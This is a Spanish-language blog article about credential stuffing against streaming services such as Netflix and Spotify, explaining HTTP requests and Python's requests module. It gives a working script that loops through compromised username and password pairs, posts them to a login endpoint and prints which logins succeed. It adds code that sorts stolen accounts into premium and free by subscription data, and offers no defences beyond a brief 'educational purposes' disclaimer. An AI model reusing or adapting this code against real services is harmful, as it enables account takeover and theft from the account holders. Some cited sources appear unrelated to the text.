Credential Stuffing 101: cómo los piratas informáticos utilizan las solicitudes de Python para piratear cuentas

Jan 16 2023
En el ámbito de la tecnología, las empresas corren el riesgo constante de ser víctimas de las malvadas actividades de los ciberdelincuentes. Una de esas tácticas que se ha vuelto alarmantemente frecuente es la del relleno de credenciales.
Fuente: https://www.mediapost.com/publications/article/355089/ctv-gains-stronger-foothold-in-subscription-servic.html

En el ámbito de la tecnología, las empresas corren el riesgo constante de ser víctimas de las malvadas actividades de los ciberdelincuentes. Una de esas tácticas que se ha vuelto alarmantemente frecuente es la del relleno de credenciales. Esta táctica malvada implica el uso de herramientas automatizadas por parte de piratas informáticos para probar una gran cantidad de combinaciones de nombre de usuario y contraseña en varias plataformas en línea con la intención de obtener acceso ilícito. Esta forma de delito cibernético se ha dirigido a varias de las compañías de transmisión más destacadas, incluidas Netflix, Hulu, Spotify y muchas más.

Por ejemplo, Netflix, el popular servicio de transmisión, ha visto un aumento en los ataques de relleno de credenciales en los últimos años. La empresa tuvo que implementar estrictas medidas de seguridad para proteger la información personal de sus usuarios y evitar el acceso no autorizado. Sin embargo, a pesar de estos esfuerzos, los piratas informáticos continúan encontrando nuevas formas de eludir estas medidas y acceder a la plataforma. En este artículo, profundizaremos en los procesos y metodologías involucrados en el relleno de credenciales.

Para comprender verdaderamente el concepto de ataques de relleno de credenciales, es importante tener una comprensión sólida de las solicitudes HTTP. Estos son mensajes simples enviados por un cliente, como un navegador web, a un servidor, pidiéndole que recupere o envíe información. Existen diferentes tipos de solicitudes HTTP, cada una con un propósito específico. Cuando un usuario envía una solicitud HTTP a un servidor web, el servidor responde con datos, como HTML o JSON, que luego se procesan en el dispositivo del usuario. Con la ayuda del módulo de solicitudes de Python, podemos manipular y analizar estas solicitudes HTTP para comprender mejor los peligros de los ataques de relleno de credenciales.

El módulo de solicitudes de Python es el mejor amigo de un desarrollador, lo que facilita la navegación por el mundo de las solicitudes HTTP con solo unas pocas líneas de código. Ya sea que esté buscando extraer datos de un sitio web, trabajar con API o simplemente descargar un archivo, el módulo de solicitudes lo tiene cubierto. Una de sus características más destacadas es su enfoque sencillo. Con solo unos pocos comandos simples, puede acceder a una variedad de solicitudes HTTP, incluidas GET, POST, PUT, DELETE, HEAD, OPTIONS y PATCH. Además, ofrece beneficios adicionales como el manejo de redireccionamientos, la solución de errores, la configuración de tiempos de espera, el trabajo con proxies y la administración de certificados SSL. Con el módulo de solicitudes de Python, tendrás todo lo que necesitas para emprender cualquier proyecto.

Por ejemplo, para descargar la página de inicio de un sitio web, puede utilizar el siguiente código:

import requests

response = requests.get("https://www.example.com")
print(response.text)

Fuente: https://www.comparitech.com/blog/information-security/credential-stuffing-attacks/

El relleno de credenciales es una técnica maliciosa utilizada por los ciberdelincuentes para obtener acceso no autorizado a una gran cantidad de cuentas al explotar una lista de combinaciones de nombre de usuario y contraseña comprometidas. Estas listas se obtienen a través de varios medios, como ataques de inyección SQL en sitios web, transacciones web oscuras o filtraciones de datos.

Un método en el que se puede lograr este objetivo es mediante la automatización del proceso de envío de solicitudes de inicio de sesión a un sitio web específico utilizando herramientas como el módulo de solicitudes de Python. El atacante primero adquiere una lista de credenciales comprometidas, que a menudo se obtienen a través de filtraciones de datos, estafas de phishing o tácticas de ingeniería social. Luego, crean un script de Python que utiliza el módulo de Solicitudes para enviar solicitudes de inicio de sesión al sitio web de destino, utilizando los pares de nombre de usuario y contraseña de la lista de credenciales comprometidas.

El script realizaría una iteración a través de la lista de credenciales, luego enviaría una solicitud de inicio de sesión para cada par de credenciales y luego verificaría la respuesta para determinar si el inicio de sesión fue exitoso o no. En caso de que el inicio de sesión sea exitoso, el atacante habrá adquirido acceso a la cuenta sin permiso.

Un ejemplo de cómo se podría hacer esto en Python usando el módulo de Solicitudes es:

#importing the requests module
import requests

#user credentials
credentials = [
    {"username": "user1", "password": "password1"},
    {"username": "user2", "password": "password2"},
    {"username": "user3", "password": "password3"}
]

#looping each pair of credentials and performing the request to the target website
for cred in credentials:
    session = requests.Session()
    login_data = {"username": cred["username"], "password": cred["password"]}
    login_response = session.post("https://example.com/login", data=login_data)
  
  #checking successful/failure response or login attempt
    if login_response.status_code == 200:
        print(f"Successful login with {cred['username']}:{cred['password']}")
    else:
        print(f"Failed login with {cred['username']}:{cred['password']}")

Nota: No se recomienda utilizar el script anterior para actividades ilegales y esto es solo con fines educativos.

Esto se puede hacer usando varios lenguajes de programación, como Python, JavaScript o C#, utilizando bibliotecas y módulos específicos del lenguaje. Por ejemplo,

  • En Python, la biblioteca de "solicitudes" se puede usar para realizar solicitudes HTTP a la página de inicio de sesión de un sitio web y la biblioteca "beautifulsoup4" se puede usar para analizar la respuesta HTML en busca de elementos específicos, como el formulario de inicio de sesión.
  • JavaScript también se puede usar para automatizar las solicitudes de inicio de sesión y el análisis de HTML usando bibliotecas como "axios" y "cheerio".
  • De manera similar, C# se puede usar para automatizar la solicitud de inicio de sesión mediante HttpWebRequest y analizar HTML con HTMLAgilityPack.

Un ejemplo de cómo se ve una API:

"https://www.example.com/subscriptionInfo"
"https://www.example.com/userInfo"
"https://www.example.com/devicesDetails"

Un ejemplo de datos de respuesta JSON para un token de acceso de la suscripción API de un sitio web podría verse así:

{
  "access_token": "abcd12345678",
  "expires_in": 3600,
  "token_type": "Bearer",
  "refresh_token": "ijkl9101mno2132"
}

{
  "subscription_id": "12345",
  "plan_name": "Premium",
  "start_date": "2022-01-01",
  "end_date": "2023-01-01",
  "price": "$9.99/month",
	"renewal":"true",
  "payment_method": "credit card",
  "billing_address": {
    "name": "John Smith",
    "address_line1": "123 Main St.",
    "city": "New York",
    "state": "NY",
    "zip": "10001",
    "country": "USA",
  },
  "devices": [
    { "device_name": "iPhone", "device_id": "A1B2C3" },
    { "device_name": "iPad", "device_id": "D4E5F6" }
  ]
}

Por ejemplo, podrían usar el siguiente código para filtrar las cuentas gratuitas y premium:

import json
data = json.loads(response.text)
if data['plan_name'] == "Premium":
    print("Premium account found: ", data['subscription_id'])
elif data['plan_name'] == "Free":
    print("Free account found: ", data['subscription_id'])

© Copyright 2021 - 2023 | unogogo.com | All Rights Reserved